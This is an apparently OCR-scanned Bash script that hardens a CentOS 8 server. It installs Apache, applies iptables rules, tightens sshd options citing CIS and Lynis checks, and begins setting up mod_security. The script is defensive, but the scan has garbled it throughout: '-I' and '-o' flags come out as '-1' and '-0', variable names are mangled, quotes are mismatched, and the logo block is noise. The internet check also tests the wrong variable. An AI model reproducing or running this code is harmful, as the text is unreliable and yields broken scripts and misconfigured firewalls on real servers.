CRON_DAILY_CLAMSCAN="etc/cron.daily/user_clamscan'

AIDE_PACKAGE=aide'

AIDECONFIG="etc/aide.conf
AIDE_CHECK_SERVICE="/etc/systemd/system/aidecheck.service'
AIDE_CHECK_TIMER="/etc/systemd/system/aidecheck.timer'

FAIL2BAN_PACKA GE="fail2ban’
FAIL2BAN_CONFIG="/etc/fail2ban/jail.local’
FAIL2BAN_SERVICE_SYMLINK="etc/systemd/system/multi-user.target.wants/fail2ban.service'

# Colors source: https://stackoverflow.com/questions/5947742/how-to-change-the-output-color-of-
echo-in-linux

COLOR_DEFAULT="\e[39m"

COLOR_GREEN="\e[32m"

COLOR_RED="\e[91m"

COLOR_BLUE="033[0;34m'

BOLD BLUE="033[1;34m'

# Processes description

array[0]="Prerequisites checks..."
array[1]="SSH Hardening..."

array[2]="Secure Bootloader..."
array[3]="Disabling unneeded modules..."
array[4]="Secure mounts..."

array[5]=" Configuring sysctl parameters..."
array[6]="Configure user limits..."
array[7]="Remove suid bits..."
array[8]="Securing user and services host files...'
array[9]=" Configuring T CP Wrappers..."
array[10]="Configuring logindefs..."
array[11]="Configuring loginconf..."
array[12]=" Locking new users..."
array[13]="Remove unneeded users..."
array[14]="Disabling ipv6..."
array[15]="Configuring DNS resolvers..."
array[16]=" Locking cronjobs..."
array[17]="Configuring logrotate..."
array[18]="Enable rkhunter..."
array[19]="Enable clamav..."
array[20]="Enable aide IDS..."
array[21]="Enable Fail2ban..."
array[22]="1PTables Hardening...'
array[23]="Apache Hardening..."
array[24]="Mod Security..."
array[25]="Mod Evasive..."
array[26]="Auto cleanup..."
array[27]="Checking for restart..."

max_processes_num="27"
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step="
IFS="

START=$(date +%s)

#=== FUNCTION ===================-=—=-—=-—=——=——————-—-—————————=—=-—=—=-—=—=—=—=—=—=—=—======
# NAME: script_logo

# DESCRIPTION: Print the logo of script

# PARAMETER: ---

function script_logo()
{
echo
echo -e "${BOLD_BLUE} _
_${COLOR _DEFAULT}"
echo-e"${BOLD BLUE}/__ | __ |L__ _ () Iy __ L
M ___ () _ _ _${COLOR_DEFAULT}"

echo -e "${BOLD_BLUE}|| / _\NLN_/_NV__ |7 N T NN ANV LN VLN
L/ NV L/ _\V|${COLOR_DEFAULT}"

echo-e "${BOLD_BLUE} | | _/[[TO\_NO/___NDICHTCHTT /1 1
HCH A HHTTTTCL${COLOR_DEFAULT}"

echo -e "${BOLD_BLUE} \___\_ | |J[N_\ /L /7 \ /7 11 \\N_ /T, N 1]
LA L b N LIELLTEN_ [${COLOR_DEFAULT}"

echo -e "${BOLD_BLUE} L
| /${COLOR DEFAULT}"

echo - "${BOLD_BLUE}${COLOR_DEFAULT}"
}

#=== FUNCTION ===============-==-==-=-=-=-=—-=——-——-—-=----—-=——-——-—-—=--===—=—=—=——=—=======
# NAME: log_info

# DESCRIPTION: Print the input info text.

# PARAMETER: Text to print.

function log_info {
echo -e "[${BOLD_BLUE}INFO${COLOR_DEFAULT}] $1"
}

#=== FUNCTION ===========-==-=-=-=-—-—-=---—-—-—-—-—-—-—-—-—----—-——-—-—o——o——oo—————————=====
# NAME: log_info
# DESCRIPTION: Print the input info text.
# PARAMETER: Text to print.
Hfo=—==—===—=-=————--=------o- oo oo oo Co- oo oo oo oS- oo oo oo oS oS-SS oS SS oS-SS SSS= === ====
function log_error {

echo -¢ "${COLOR_RED}ERROR] $1${COLOR_DEFAULT}"

}

#=== FUNCTION =============—==-==-=—=—=—=——-—-——-——-——-———-—--———————--—=-=—=—==—==—=====
# NAME: backup_file

# DESCRIPTION: Backup a file.

# PARAMETER: Path to file.

function backup_file {
cp $1{,.bak}
}

#=== FUNCTION =================-==-=-=-=-=——-=——-——-—=--=-——-———————=-=-=————=—-——=—=—======
# NAME: comment_parameter

# DESCRIPTION: Comment out a parameter in the configuration file.

# PARAMETERS: 1. parameter name (escaped special characters)

# 2. configuration file path

83




function comment_parameter {
sed -i $2 -e "/SL/s/INH#I"
}

#=== FUNCTION ===================-=—=-—=-—=——=——————-—-—————————=—=-—=—=-—=—=—=—=—=—=—=—======
# NAME: _exit

# DESCRIPTION: Terminate the script execution

# PARAMETER: ---

function _exit()
{
# Check systemdelta
systemd-delta --no-pager
release_lock
END=$(date +%s)
DIFF=$(( $END - $START ))
secs=$DIFF
echo -n "The execution time is: "
printf %dh :%d m:%ds\n' $(($secs/3600)) $(($secs%3600/60)) $(($secs%60))
exit 1

}

#=== FUNCTION =============-=——-=——-—=---—-——-—-—-——-—-—---——————————--———=———=—=—=—=====
# NAME: acquire_lock

# DESCRIPTION: Create a lock file if not exists,

# otherwise print error message that lock file exists

# PARAMETER: ---

function acquire_lock()

{
# echo ">>>Is going to check for lock file: $LOCK_FILE"

# if we don't have the lock file, start at zero
#if ! test -f"SLOCK_FILE"; then
if [ 1-f"$LOCK_FILE" J; then
log_info "Lock file not found. So we will create one"
touch $SLOCK_FILE
else # otherwise the hardening script is being executed
log_error "Found lock file: ${LOCK FILE} which means the script
${SCRIPT_NAME} is is being executed!"
log_error "If not, please remove the lock file ${LOCK_FILE}"
exit 1
fi
}

#=== FUNCTION ===========—==-==-==-—-—-=-—-—-—-—-——-—---o—-——-———————-———-———————=-==—=====
# NAME: release_lock

# DESCRIPTION: Remove the lock file from filesystem
# PARAMETER: ---

function release_lock()

if [ -f"$LOCK_FILE" ]; then
rm -rf $LOCK_FILE
else
log_info "Lock file not found to release lock"
fi
}

#=== FUNCTION ===============-==-==-=-=-=-=——-=-—-—-—-—=---——-——-—-——-——-——=—————=——=—=====
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# NAME: retrieve_step

# DESCRIPTION: Retrieve the current step of step.dat file,
# else initialize the step to zero

# PARAMETER: ---

function retrieve_step()

{
# if we don't have a file, start at zero
if [ 1-f"$FILE" ]; then

step=0

# log_info "Step file not found"
# otherwise read the step fromthe file
else

step="cat $FILE

log_info "Found step: ${step}"
fi

}

#=== FUNCTION ===========—==-=——-=——-—---—-——-—-—-—-—-——---o-— - ———o---——————=—=====
# NAME: increase_step

# DESCRIPTION: Increase the current step value by one

# PARAMETER: 1. currentStep value is passed in order to increased

function increase_step()
{
currentStep=$1
[[ -z "$currentStep” 1] && { log_error "First parameter (currentStep) is empty in function
increase_step"; _exit; }
# increment the step
step=$((currentStep + 1))

#=== FUNCTION ===========—====-==-=-=-=-=-=-=-—-—-—-—-—-—---=-———-—-—-—=—--=-—=—=—=——=——=—=—=====
# NAME: save_step

# DESCRIPTION: Save the currentStep into step.dat file

# PARAMETER: 1. currentStep value is passed in order to be saved

function save_step() {

currentStep=$1

[[ -z "$currentStep"” 1] && { log_error "First parameter (currentStep) is empty in function
save_step"; _exit; }

# show it to the user

# echo "step: ${currentStep}"

# and save it for next time
echo "${currentStep}" > $FILE

}

#=== FUNCTION =============-==-=-—-=-—-=-=-—--—-=-—-—-———-——-————-———————-———————=—=—=—=====
# NAME: get_value

# DESCRIPTION: Retrieve the value of processes description array

# PARAMETER: 1. currentStep value is passed

function get_value()
{
currentStep=$1
[[ -z "$currentStep"” 1] && { log_error "First parameter (currentStep) is empty in function
get_value"; _exit; }
#foriin "${larray[@]}"
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#do
# echo "key : $i/ value: ${array[$i]}"
#done

# Retrieve value fromhash map ($array[$i])
# echo "step value: ${array[$currentStep]}"
echo "${array[$currentStep]}"

}

#=== FUNCTION ===============-==-==-=-=-=-=——-=——-——-—-—---=-—-——-—-——-——-—=-—=——=——=——=—=—=====
# NAME: get_diff_lines

# DESCRIPTION: Save the number of different lines in the specified files to the

# variable "DIFF_LINES"

# PARAMETERS: 1. file 1 (e. g. "/boot/grub/grub.cfg™)

# 2. file 2 (e. g. "/boot/grub/grub.cfg.bak")

function get_diff_lines {
DIFF_LINES=$(diff -y --suppress-common-lines $1 $2 | grep "' | wc -1)
}

#=== FUNCTION ===========—==-=——-=——-—----——-——-—-—-——---—o—-——— oo ——————=—=====
NAME: set_parameter
DESCRIPTION: Set the parameters in the configuration file. If the parameter does not exist in
the configuration file, add it.
PARAMETERS: 1. parameter name (escaped special characters)
2. parameter value (escaped special characters)
3. configuration path
4. OPTIONAL - prefix for value (default is the space)

HoH H H H W

function set_parameter {
grep -qE""#\s)?$1" $3
local EXIT_STATUS=$?
if [[ ${EXIT_STATUS} -ne 0]]; then
echo -e "$1${4-" "}$2" >> $3
else
sed -i.old -E "/"$1/c\\$1${4-" "}$2" $3
get_diff_lines $3 $3.0ld
grep -qE " $1${4-" "}$2" $3
local EXIT_STATUS=$?
if [[ ${DIFF_LINES} -eq 0]] && [[ ${EXIT_STATUS} -ne 01]]; then
sed -i.old -E "/M#)?$1/c\$1${4-" "}$2" $3
get_diff_lines $3 $3.0ld
if [[ ${DIFF_LINES} -eq 0 ]]; then
sed -i.old -E"/M#\s)?$1/c\$1${4-" "}$2" $3
fi
fi
rm $3.old
fi
}

#=== FUNCTION ===========-====-==-=-—-=-—--—-—-—-—--——-————-————-—————————=—=—=—-—=—=—==-===
# NAME: set_permission

# DESCRIPTION: Set the ownership and permissions for a file.

# PARAMETERS: 1. ownership (e. g. "root:root™)

# 2. permission (e. g. "0644")
# 3. file (e. g. "/boot/grub/grub.cfg™)
function set_permission {

chown $1 $3

chmod $2 $3
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}

#=== FUNCTION ===========-====-=—-=-—-=-—-—-—-—-—-—-—-——-————-——-—-——-———————=—=—=—-—==—=====
# NAME: set_permission_recursive

# DESCRIPTION: Set recursive ownership and permissions for a directory.

# PARAMETERS: 1. ownership (e. g. "root:root")

# 2. permission (e. g. "0644")

# 3. directory (e. g. "/boot/grub/™)

function set_permission_recursive {
chown -R $1 $3
chmod -R $2 $3
}

#=== FUNCTION =============-==-=-=-=-=-----—-—-—-—-—-—-—o-oo—-——o—o——o—-oo--——————=—=====
# NAME: install_packages

# DESCRIPTION: Iterrate over passed packages and install themone by one

# PARAMETERS: 1. packages: list of packages is passed for installation

function install_packages()
{
IFS=""
packages="$@"
for package in $packages; do
log_info "Is going to install the package:
${COLOR_GREEN}"$package"${COLOR_DEFAULT}"
yum install -y $package
done
IFS="

}

#=== FUNCTION ===========—====-==-=-=-=-=-=-=-—-—-—-—-—-—---=-———-—-—-—=—--=-—=—=—=——=——=—=—=====
# NAME: execute_full_update

# DESCRIPTION: Execute full update

# PARAMETER: ---

function execute_full_update() {
log_info "Is going to execute full update, please wait..."
yum makecache
yumupdate -y

}

#=== FUNCTION ===========-=—-=-—-—-—-—-—---—-—-—-—-—-—-—-—-—---o- - —o——o——ooo--———————=====
# NAME: check_prerequisites

# DESCRIPTION: Check prerequisites in order to continue the script execution

# PARAMETER: ---

function check_prerequisites()

if [ $EUID -ne 0 ]; then
log_error "This script must be run with root privileges."
_exit

fi

log_info "Script stared with root privileges"

# test an internet connection
curl 1.1.1.1 2> /dev/null 1>&2
if [ ${UID} -ne 0 ]; then
log_error "No internet connection found!"
exit
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fi
log_info "Internet connection found"

if ! cat /etc/centos-release | grep 'CentOS' |grep '8' 2> /dev/null 1>&2; then
log_error "Unsupported Linuxdistribution. Only CentOS 8 Supported

_exit

fi
log_info "Centos 8 OS found"

if ! bash --version | grep -i'bash' 2> /dev/null 1>&2; then
log_error "Please install bash to continue.."
_exit

fi

log_info "Bash found"

if ! [-x"$(which systemctl)" ]; then
log_error "systemctl required. Unsupported setup.."
_exit

fi

log_info "Systemctl found™

execute_full_update

if ! test -f"$SHTTPD_CONF"; then
log_info "$HTTPD_CONF apache config file not found."
log_info "Is going to install apache, please wait..."
yum install httpd
service httpd start
chkconfig httpd on
touch $HTTPD_HTML
index_page=$(cat <<EOF

<IDOCTYPE html>

<html>
<head>
<title>Centos 8 Apache Hardening Script</title>
</head>
<body>
<h1>Centos 8 Apache Hardening Script</h1>
<p>It works!</p>
</body>
</htmil>
EOF
)
append_config "$index page" $HTTPD_HTML
fi
log_info "Apache Web Server found"
if ! test -f"$IPTABLES_CONFIG"; then
log_info "$IPTABLES_CONFIG firewall config file not found."
log_info "Is going to install iptables package, please wait..."
systemctl stop firewalld
systemctl disable firewalld
systemctl mask --now firewalld
install_packages $IPTABLES PACKAGE
systemctl start iptables
systemctl enable iptables
systemctl status iptables --no-pager
fi

log_info "IPtables found"
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# Install some prerequisites packages
install_packages $PREREQUISITES_PACKAGES

}

#=== FUNCTION ===================-=—=-—=-—=——=——————-—-—————————=—=-—=—=-—=—=—=—=—=—=—=—======
# NAME: iptables_hardening

# DESCRIPTION: Apply iptable hardening rules as part of security hardening process
# PARAMETER: ---

function iptables_hardening ()
{
if test -f "$SIPTABLES_CONFIG"; then

log_info "ls going to apply iptables hardening rules, please wait..."

# source: https://raiyanlive.wordpress.com/2016/09/02/hardening-server-security-
using-iptables/

# Modify this file accordingly for your specific requirement.

# 1. Delete all existing rules

log_info "Deleting all existing rules"

iptables -F

# 2. Set default chain policies

# iptables -P INPUT DROP

# iptables -P FORWARD DROP
# iptables -P OUTPUT DROP

# 3. Block a specific ip-address
BLOCK_THIS_IP="192.168.1.254"

log_info "Blocking a specific ip-address: $BLOCK_THIS_IP"
iptables -A INPUT -s "$BLOCK_THIS_IP" -j DROP

INTERFACE_NAME="eth1’

#4. Allow ALL incoming SSH

log_info "Allowing ALL incoming SSH"

iptables -1 INPUT -i $INTERFACE_NAME -p tcp --dport 22 -m state --state
NEW,ESTABLISHED -j ACCEPT

iptables -1 OUTPUT -0 SINTERFACE_NAME -p tcp --sport 22 -m state --state
ESTABLISHED -jACCEPT

# 5. Allow incoming SSH only from a sepcific network

# EXTERNAL_NET="ip -finetashow eth0| grep inet| awk ‘{print $2}" #
e.g. inet address of ehtl network 172.28.128.20/24

EXTERNAL_NET='192.168.1.0/24"

log_info "Allowing incoming SSH only from a sepcific network:
SEXTERNAL _NET"

iptables -1 INPUT -i $INTERFACE_NAME -p tcp -s $EXTERNAL_NET --dport 22
-mstate --state NEW,ESTABLISHED -j ACCEPT

iptables -I OUTPUT -0 $SINTERFACE_NAME -p tcp --sport 22 -m state --state
ESTABLISHED -jACCEPT

# 6. Allow incoming HTTP

log_info "Allowing incoming HTTP"

iptables -1 INPUT -i $SINTERFACE_NAME -p tcp --dport 80 -m state --state
NEW,ESTABLISHED -j ACCEPT

iptables -I OUTPUT -0 $INTERFACE_NAME -p tcp --sport 80 -m state --state
ESTABLISHED -j ACCEPT

# Allow incoming HTTPS
log_info "Allowing incoming HTTPS"
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iptables -1 INPUT -i $INTERFACE_NAME -p tcp --dport 443 -m state --state
NEW,ESTABLISHED -j ACCEPT

iptables -1 OUTPUT -0 $INTERFACE_NAME -p tcp --sport 443 -m state --state
ESTABLISHED -jACCEPT

# 7. MultiPorts (Allow incoming SSH, HTTP, and HTTPS)

# iptables -1 INPUT -i $INTERFACE_NAME -p tcp -m multiport --dports 22,80,443
-mstate --state NEW,ESTABLISHED -j ACCEPT

# iptables -1 OUTPUT -o $INTERFACE NAME -p tcp -m multiport --sports
22,80,443 -m state --state ESTABLISHED -j ACCEPT

# 8. Allow outgoing SSH

log_info "Allowing outgoing SSH"

iptables -1 OUTPUT -0 $INTERFACE_NAME -p tcp --dport 22 -m state --state
NEW,ESTABLISHED -j ACCEPT

iptables -1 INPUT -i $INTERFACE NAME -p tcp --sport 22 -m state --state
ESTABLISHED -j ACCEPT

#9. Allow outgoing SSH only to a specific network

log_info "Allowing outgoing SSH only to a specific network"

iptables -1 OUTPUT -0 $INTERFACE_NAME -p tcp -d SEXTERNAL_NET --dport
22 -m state --state NEW,ESTABLISHED -j ACCEPT

iptables -1 INPUT -i $INTERFACE NAME -p tcp --sport 22 -m state --state
ESTABLISHED -jACCEPT

# 10. Allow outgoing HTTPS

log_info "Allowing outgoing HTTPS"

iptables -1 OUTPUT -0 SINTERFACE_NAME -p tcp --dport 443 -m state --state
NEW,ESTABLISHED -j ACCEPT

iptables -1 INPUT -i SINTERFACE_NAME -p tcp --sport 443 -m state --state
ESTABLISHED -j ACCEPT

# 12. Ping from inside to outside

log_info "Ping from inside to outside"

iptables -1 OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -1 INPUT -p icmp --icmp-type echo-reply -j ACCEPT

# 13. Ping fromoutside to inside

log_info "Ping from outside to inside"

iptables -1 INPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -1 OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT

# 14. Allow loopback access

log_info "Allowing loopback access"
iptables -1 INPUT -i lo -j ACCEPT
iptables -1 OUTPUT -0 lo -j ACCEPT

# 15. Allow packets from internal network to reach external network.

# ifethl is connected to external network (internet)

# if ethO is connected to internal network (192.168.1.x)

# iptables - FORWARD -i $INTERFACE_NAME -0 eth0 -j ACCEPT

# 16. Allow outbound DNS

log_info "Allowing outbound DNS"

iptables -1 OUTPUT -p udp -0 $INTERFACE_NAME --dport 53 -j ACCEPT
iptables -1 INPUT -p udp -i $INTERFACE_NAME --sport 53 -j ACCEPT

# 18. Allow rsync froma specific network
log_info "Allowing rsync froma specific network"
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iptables -1 INPUT -i SINTERFACE_NAME -p tcp -s $EXTERNAL_NET --dport
873 -mstate --state NEW,ESTABLISHED -j ACCEPT

iptables -1 OUTPUT -0 $INTERFACE_NAME -p tcp --sport 873 -m state --state
ESTABLISHED -jACCEPT

# 19. Allow MySQL connection only froma specific network

log_info "Allowing MySQL connection only froma specific network"

iptables -1 INPUT -i SINTERFACE_NAME -p tcp -s $EXTERNAL_NET --dport
3306 -m state --state NEW,ESTABLISHED -j ACCEPT

iptables -1 OUTPUT -0 $INTERFACE_NAME -p tcp --sport 3306 -m state --state
ESTABLISHED -j ACCEPT

# 20. Allow Sendmail or Postfix

log_info "Allowing Sendmail or Postfix"

iptables -1 INPUT -i $INTERFACE_NAME -p tcp --dport 25 -m state --state
NEW,ESTABLISHED -j ACCEPT

iptables -I OUTPUT -0 $SINTERFACE_NAME -p tcp --sport 25 -m state --state
ESTABLISHED -j ACCEPT

# 21. Allow IMAP and IMAPS

log_info "Allowing IMAP and IMAPS"

iptables -1 INPUT -i SINTERFACE NAME -p tcp --dport 143 -m state --state
NEW,ESTABLISHED -j ACCEPT

iptables -1 OUTPUT -0 $INTERFACE_NAME -p tcp --sport 143 -m state --state
ESTABLISHED -jACCEPT

iptables -1 INPUT -i $INTERFACE_NAME -p tcp --dport 993 -m state --state
NEW,ESTABLISHED -j ACCEPT

iptables -I OUTPUT -0 $INTERFACE_NAME -p tcp --sport 993 -m state --state
ESTABLISHED -jACCEPT

# 22. Allow POP3and POP3S

log_info "Allowing POP3 and POP3S"

iptables -1 INPUT -i SINTERFACE _NAME -p tcp --dport 110 -m state --state
NEW,ESTABLISHED -j ACCEPT

iptables -1 OUTPUT -0 $INTERFACE_NAME -p tcp --sport 110 -m state --state
ESTABLISHED -jACCEPT

iptables -1 INPUT -i $INTERFACE_NAME -p tcp --dport 995 -m state --state
NEW,ESTABLISHED -j ACCEPT

iptables -1 OUTPUT -0 SINTERFACE _NAME -p tcp --sport 995 -m state --state
ESTABLISHED -jACCEPT

# 23. Prevent DoS attack

log_info "Preventing DoS attack™

iptables -1 INPUT -p tcp --dport 80 -m limit --limit 25/minute --limit-burst 100 -j
ACCEPT

# 24. Port forwarding 80 to 8080
# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080 #
Can not access fromoutside

# iptables-save > /etc/sysconfig/iptables

# log_info "Saved iptables into /etc/sysconfig/iptables™
service iptables save

log_info "Saved iptables successfully!"

iptables -nvL

systemctl restart iptables

iptables-restore < /etc/sysconfig/iptables

log_info "Restored iptables successfully!"
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# systemctl start firewalld
fi
}

#=== FUNCTION ===================-=—=-—=-—=——=——————-—-—————————=—=-—=—=-—=—=—=—=—=—=—=—======
# NAME: ssh_hardening

# DESCRIPTION: Install and harden ssh server.

# PARAMETER: ---

function ssh_hardening ()

{
log_info "Installing ssh server."
install_packages 'openssh-server'

log_info "Backing up ssh configuration files."
backup_file ${SSHD_CONFIG}
backup_file ${SSHD_PAM}

log_info "Stopping ssh server.”
systemctl stop sshd

log_info "Changing ssh port from input.”
SSH_PORT="22"

log_info "Configuring ssh port to ${SSH_PORT }."

set_parameter "Port" ${SSH_PORT} ${SSHD_CONFIG}

log_info "Disabling the banner message from motd."

comment_parameter "~session[ J*optional[ J*pam_motd.so[ ]*motd=\/run\/motd.dynamic"
${SSHD_PAM}

comment_parameter "Asession[ J*optional[ ]*pam_motd.so[ J*noupdate” ${SSHD_PAM}

# CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.15
log_info "Configuring the text, that is shown before the authorization when an ssh session is

connected."
backup_file ${ISSUE_NET}

echo Nk kkhkkhkhkkhkhkhkhkhkhkhhkhhhkhhhkhhkhkhhhkhhhkkhkirhkhkhkkhkhkhhhkhhkhkhhhkhhkhkhihhkhhhkhihhhhkhihhihiiixn
${ISSUE_NET}
echo "* *" >> ${ISSUE_NET}

echo "* This systemis for the use of authorized users only. Usage of *" >> ${ISSUE NET}
echo "* this system may be monitored and recorded by systempersonnel. *" >> ${ISSUE NET}
echo "* *">> ${ISSUE_NET}

echo "* Anyone using this systemexpressly consents to such monitoring *" >> ${ISSUE NET}
echo "* and is advised that if such monitoring reveals possible =" >> ${ISSUE_NET}

echo "* evidence of criminal activity, system personnel may provide the *" >> ${ISSUE_NET}
echo "* evidence fromsuch monitoring to law enforcement officials.  *" >> ${ISSUE_NET}

echo "* *">> ${ISSUE_NET}
echo  "*** ok *k ok *ox *x *x ek * % * % *x *x ok AR>S
${ISSUE_NET}

set_parameter "Banner" "/etc/issue.net" ${SSHD_CONFIG}

# log_info "Disabling password authentication."”
# set_parameter "PasswordAuthentication” "no" ${SSHD_CONFIG}

log_info "Enabling public key authentication.”
set_parameter "PubkeyAuthentication” "yes" ${SSHD_CONFIG}

# CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.7

log_info "Disabling the authentication of throughtrusted hosts via the user.
set_parameter " HostbasedAuthentication" "no" ${SSHD_CONFIG}
set_parameter " RhostsRSA Authentication” "no" ${SSHD_CONFIG}
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log_info "Disabling challenge-response authentication."
set_parameter " ChallengeResponseAuthentication™ "no" ${SSHD_CONFIG}

log_info "Disabling GSSAPI authentication."
set_parameter " GSSAPIAuthentication” "no" ${SSHD_CONFIG}

log_info "Disabling RSA authentication."”
set_parameter " RSAAuthentication” "no" ${SSHD_CONFIG}

# CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.6

log_info  "Disabling .rhosts and .shosts files in  RhostsRSAAuthentication or
HostbasedAuthentication."

set_parameter "IgnoreRhosts" "yes" ${SSHD_CONFIG}

log_info "Disabling the use of DNS in SSH."
set_parameter "UseDNS" "no" ${SSHD_CONFIG}

# Lynis recommendation [test:SSH-7408]
log_info "Disabling TCP forwarding."
set_parameter "AllowTcpForwarding” "no" ${SSHD_CONFIG}

# Lynis recommendation [test:SSH-7408]
log_info "Disabling sending TCP keepalive messages to the other side.”
set_parameter "T CPKeepAlive" "no" ${SSHD_CONFIG}

# Lynis recommendation [test:SSH-7408]
log_info "Disabling compression."
set_parameter " Compression” "no" ${SSHD_CONFIG}

# Lynis recommendation [test:SSH-7408]

log_info "Separating privileges by creating an unprivileged child process to deal with incoming
network traffic to SANDBOX."

set_parameter " UsePrivilegeSeparation” "SANDBO X" ${SSHD_CONFIG}

# Lynis recommendation [test:SSH-7408]
log_info "Disabling ssh-agent forwarding."
set_parameter "AllowAgentForwarding"” "no" ${SSHD_CONFIG}

# CIS Benchmark Ubuntu 16.04 LT Sv1.1.0 chapter5.2.2
log_info "Configuring protocol to version 2."
set_parameter "Protocol" "2" ${SSHD_CONFIG}

log_info "Configuring logging levels to verbose."
set_parameter " LogLevel" "VERBOSE" ${SSHD_CONFIG}

log_info "Disabling X11 forwarding."”
set_parameter " X11Forwarding" "no" ${SSHD_CONFIG}

# CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.5

# Lynis recommendation [test:SSH-7408]

log_info "Configuring the maximum number of authentication attempts permitted per connection to
2."

set_parameter "MaxAuthTries" "2" ${SSHD_CONFIG}

# Lynis recommendation [test:SSH-7408]

log_info "Configuring the maximum number of open shell, login or subsystem (e.g. sftp) sessions
permitted per network connection to 2."

set_parameter "MaxSessions" 2" ${SSHD_CONFIG}
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# CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.8
log_info "Disabling root logins."
set_parameter "PermitRootLogin" "no" ${SSHD_CONFIG}

# CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.11

log_info "Configuring ciphers and algorithms."

set_parameter "KexAlgorithms" "curve25519-sha256@ libssh.org,ecdh-sha2-nistp521,ecdh-sha2-
nistp384,ecdh-sha2-nistp256,diffie-he liman-group-exchange-sha256" ${SSHD_CONFIG}

set_parameter "Ciphers" "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-
gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr* ${SSHD_CONFIG}

set_parameter "MACs" "hmac-sha2-512-etm@openssh.comhmac-sha2-256-
etm@openssh.com,umac-128-etm@openssh.comhmac-sha2-512,h mac-sha2-256,umac-
128@openssh.com" ${SSHD_CONFIG}

awk '$5 >= 3071' /etc/ssh/moduli > /etc/ssh/imoduli.tmp && mv /etc/ssh/moduli.tmp /etc/ssh/moduli

# CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.12

log_info "Configuring the idle timeout interval to 300 seconds ${DECORATION_DIM_ON}(5
minutes)3{DECORATION_DIM_OFF}."

set_parameter " ClientAlivelnterval” "300" ${SSHD_CONFIG}

# CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter 5.2.13

log_info "Configuring the time allowed for successful authentication to the SSH server to 60 seconds
${DECORATION_DIM_ON}(1 minute)${DECORATION_DIM_OFF}."

set_parameter " LoginGraceTime" "60" ${SSHD_CONFIG}

# CIS Benchmark Ubuntu 16.04 LTS v1.1.0 chapter5.2.14
log_info "Adding current user to ssh group.”
groupadd ssh
usermod -a -G ssh ${CURRENT_USER}
log_info "Configuring SSH access only to
${DECORATION_BOLD_ON}"ssh\"${DECORATION_BOLD_OFF} group."
set_parameter "AllowGroups" "ssh" ${SSHD_CONFIG}

log_info "Starting shh service."
systemctl start sshd

}

#=== FUNCTION ===========-==-=-=-=-—-—-=---—-—-—-—-—-—-—-—-—----—-——-—-—o——o——oo—————————=====
# NAME: apache_restart

# DESCRIPTION: Restart apache web server

# PARAMETER: ---

#:______________________________________________________________________:

function apache_restart()
{
sleep 2
log_info "Apache restart is being executed, please wait..."
apachectl restart
if 1 apachectl status | grep ‘active (running)' 2> /dev/null 1>& 2; then
log_error "Restart apache has failed!"
# log_error "For more information, please use: sudo journalctl -xe"
# systemctl status httpd service
# journalctl -xe
_exit
else
log_info "Restart apache OK!"
fi
}

#=== FUNCTION ===============-==-==-==-—-=——-——-—=--o—--—-——-—-—-—---=———-———=—=—========

# NAME: append_config
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# DESCRIPTION: Append configs to destination file
# PARAMETER: 1. config: configuration that is going to append to destination file
# 2. destination_file: the file that is going to append the configs

function append_config()
{

config=$1

destination_file=$2

[[ -z "$config" 1] && { log_error "First parameter (config) is empty in function
append_config"; _exit; }

[ -z "$destination_file" J] && { log_error "Second parameter (destination_file) is empty in
function append_config"; _exit; }

echo $config >> $destination_file
}

#=== FUNCTION ===========—==-=—-=-—-—-=--—-—-—-—-—-—-—-—-—-----——-———-——o- o= —=—======
# NAME: replace_configs

# DESCRIPTION: Replace configs based on passing directory and destination file

# PARAMETER: 1. directory: Specify the directory of the apache config file

# 2. destination_file: The file that is going to be applied the configs

function replace_configs()
{

directory=$1

[[ -z "$directory” J] && { log_error "First parameter (directory) is empty in function
replace_configs"; _exit; }

destination_file=$2

[[ -z "$destination_file" 1] && { log_error "Second parameter (destination_file) is empty in
function replace_configs"; _exit; }

if [ "$directory™ == "html" ]; then

sed -i ‘'/<Directory "\/var\/www\/htmlI">/,/<\/Directory>/ s/Options Indexes
FollowSy mLinks/Options -Indexes -FollowSymLinks -Exec CGlI -Includes/' $destination_file
sed -i  ‘'/<Directory  "\War\/www\/html">/,/<\/Directory>/  s/Require  all

granted/Require  all  granted\n\n\t<LimitExcept = GET  POST HEAD>\n\t\tdeny  from
al\n\t<\/LimitExcept>\n/' $destination_file
elif [ "$directory” =="root" ]; then
sed -i ‘/<Directory \/>/,/<\IDirectory>/  s/AllowOverride  none/\tOptions
None\n\tOrder Deny,Allow\n\t#Deny from all/* $destination_file
sed -i ‘/<Directory \/>/,/<\/Directory>/ s/Require all denied/\tAllowOverride None/'
$destination_file
elif ["$directory" =="mod_evasive" ]; then
sed -i ‘/<IfModule mod_evasive24.c>/,/<\/IfModule>/  s/#DOSEmailNotify
you@yourdomain.com/DOSEmailNotify  labis.papadopoulos@gmail .com/* $destination_file
dir="fvar/www/html/logs'
[!-d"$dir" ] && mkdir -p "$dir"
sed -i ‘/<IfModule mod_evasive24.c>/ /<\/IfModule>/ s/#DOSLogDir
"\/var\/lock\/mod_evasive"/DOSLogDir "\fvar\'www\/html\/logs" /' $destination_file

fi
3
#=== FUNCTION ===========—==—====-=-=-=-=-—-=-—-—-—-—-——-————-————-———————————=——=—=—==—===
# NAME: mod_security

# DESCRIPTION: Execute Mod_Security installation and configuration
# PARAMETER: ---

function mod_security()

{

# source: https://devops.ionos.com/tutorials/how-to-configure-modsecurity-and-mod_evasive-
for-apache-on-centos-7/,
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# https://artsysops.com/2019/12/17/how-to-harden-apache-web-server-on-centos-7/
log_info "Is going to install Mod_Security, please wait..."
install_packages $MOD_SECURITY

apache_restart
backup_file SMOD_SECURITY_CONF

# Installing A Core Rule Set and Configuring Mod_Security

log_info "Installing A Core Rule Set and Configuring Mod_ Security."

mkdir /etc/httpd/crs-rules

cd /etc/httpd/crs-rules

